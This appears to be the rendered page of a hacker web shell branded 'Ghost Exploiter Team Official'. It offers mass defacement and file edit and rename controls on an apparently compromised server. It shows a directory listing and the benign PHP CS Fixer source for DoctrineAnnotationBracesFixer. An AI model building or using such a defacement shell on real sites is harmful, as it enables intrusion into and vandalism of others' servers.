Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
friendsofphp
/
php-cs-fixer
/
src
/
Fixer
/
DoctrineAnnotation
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
DoctrineAnnotationArray
...
3.624KB
edt
ren
DoctrineAnnotationBrace
...
4.613KB
edt
ren
DoctrineAnnotationInden
...
6.589KB
edt
ren
DoctrineAnnotationSpace
...
12.094KB
edt
ren
<?php declare(strict_types=1); /* * This file is part of PHP CS Fixer. * * (c) Fabien Potencier <fabien@symfony.com> * Dariusz RumiĆski <dariusz.ruminski@gmail.com> * * This source file is subject to the MIT license that is bundled * with this source code in the file LICENSE. */ namespace PhpCsFixer\Fixer\DoctrineAnnotation; use PhpCsFixer\AbstractDoctrineAnnotationFixer; use PhpCsFixer\Doctrine\Annotation\DocLexer; use PhpCsFixer\Doctrine\Annotation\Token; use PhpCsFixer\Doctrine\Annotation\Tokens; use PhpCsFixer\Fixer\ConfigurableFixerInterface; use PhpCsFixer\Fixer\ConfigurableFixerTrait; use PhpCsFixer\FixerConfiguration\FixerConfigurationResolver; use PhpCsFixer\FixerConfiguration\FixerConfigurationResolverInterface; use PhpCsFixer\FixerConfiguration\FixerOptionBuilder; use PhpCsFixer\FixerDefinition\CodeSample; use PhpCsFixer\FixerDefinition\FixerDefinition; use PhpCsFixer\FixerDefinition\FixerDefinitionInterface; /** * Adds braces to Doctrine annotations when missing. * * @phpstan-type _AutogeneratedInputConfiguration array{ * ignored_tags?: list<string>, * syntax?: 'with_braces'|'without_braces', * } * @phpstan-type _AutogeneratedComputedConfiguration array{ * ignored_tags: list<string>, * syntax: 'with_braces'|'without_braces', * } * * @implements ConfigurableFixerInterface<_AutogeneratedInputConfiguration, _AutogeneratedComputedConfiguration> * * @no-named-arguments Parameter names are not covered by the backward compatibility promise. */ final class DoctrineAnnotationBracesFixer extends AbstractDoctrineAnnotationFixer implements ConfigurableFixerInterface { /** @use ConfigurableFixerTrait<_AutogeneratedInputConfiguration, _AutogeneratedComputedConfiguration> */ use ConfigurableFixerTrait; public function getDefinition(): FixerDefinitionInterface { return new FixerDefinition( 'Doctrine annotations without arguments must use the configured syntax.', [ new CodeSample( "<?php\n/**\n * @Foo()\n */\nclass Bar {}\n", ), new CodeSample( "<?php\n/**\n * @Foo\n */\nclass Bar {}\n", ['syntax' => 'with_braces'], ), ], ); } protected function createConfigurationDefinition(): FixerConfigurationResolverInterface { return new FixerConfigurationResolver([ ...parent::createConfigurationDefinition()->getOptions(), (new FixerOptionBuilder('syntax', 'Whether to add or remove braces.')) ->setAllowedValues(['with_braces', 'without_braces']) ->setDefault('without_braces') ->getOption(), ]); } protected function fixAnnotations(Tokens $doctrineAnnotationTokens): void { if ('without_braces' === $this->configuration['syntax']) { $this->removesBracesFromAnnotations($doctrineAnnotationTokens); } else { $this->addBracesToAnnotations($doctrineAnnotationTokens); } } private function addBracesToAnnotations(Tokens $tokens): void { foreach ($tokens as $index => $token) { if (!$token->isType(DocLexer::T_AT)) { continue; } $braceIndex = $tokens->getNextMeaningfulToken($index + 1); if (null !== $braceIndex && $tokens[$braceIndex]->isType(DocLexer::T_OPEN_PARENTHESIS)) { continue; } $tokens->insertAt($index + 2, new Token(DocLexer::T_OPEN_PARENTHESIS, '(')); $tokens->insertAt($index + 3, new Token(DocLexer::T_CLOSE_PARENTHESIS, ')')); } } private function removesBracesFromAnnotations(Tokens $tokens): void { for ($index = 0, $max = \count($tokens); $index < $max; ++$index) { if (!$tokens[$index]->isType(DocLexer::T_AT)) { continue; } $openBraceIndex = $tokens->getNextMeaningfulToken($index + 1); if (null === $openBraceIndex) { continue; } if (!$tokens[$openBraceIndex]->isType(DocLexer::T_OPEN_PARENTHESIS)) { continue; } $closeBraceIndex = $tokens->getNextMeaningfulToken($openBraceIndex); if (null === $closeBraceIndex) { continue; } if (!$tokens[$closeBraceIndex]->isType(DocLexer::T_CLOSE_PARENTHESIS)) { continue; } for ($currentIndex = $index + 2; $currentIndex <= $closeBraceIndex; ++$currentIndex) { $tokens[$currentIndex]->clear(); } } } }
<=Back
Liking